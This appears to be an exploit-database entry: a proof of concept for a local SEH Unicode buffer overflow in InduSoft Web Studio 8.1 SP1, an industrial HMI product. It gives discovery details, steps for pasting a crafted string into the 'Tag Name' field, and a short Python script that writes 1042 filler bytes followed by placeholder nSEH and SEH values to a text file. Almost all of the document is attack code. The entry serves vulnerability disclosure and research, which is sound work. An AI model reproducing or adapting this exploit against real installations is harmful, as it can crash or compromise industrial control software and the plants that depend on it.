InduSoft Web Studio 8.1 SP1 Buffer Overflow

`# Exploit Title: InduSoft Web Studio 8.1 SP1 - 'Tag Name' Buffer Overflow (SEH)  
# Discovery by: Luis Martinez  
# Discovery Date: 2018-09-11  
# Vendor Homepage: http://www.indusoft.com/  
# Software Link: http://www.indusoft.com/Products-Downloads  
# Tested Version: 8.1 SP1  
# Vulnerability Type: Local Buffer Overflow (SEH Unicode)  
# Tested on OS: Windows 10 Pro x64 en  
  
# Steps to Produce the Local Buffer Overflow (SEH Unicode):   
# 1.- Run python code: InduSoft_Web_Studio_8.1.py  
# 2.- Open InduSoft_Web_Studio_8.1.txt and copy content to clipboard  
# 3.- Open IWS v8.1 InduSoft Web Studio  
# 4.- Home  
# 5.- Paste ClipBoard on "Tag Name"  
  
#!/usr/bin/env python  
  
nSEH = "\x42\x42"  
SEH = "\x43\x43"  
  
buffer = "\x41" * 1042 + nSEH + SEH  
f = open ("InduSoft_Web_Studio_8.1.txt", "w")  
f.write(buffer)  
f.close()  
  
`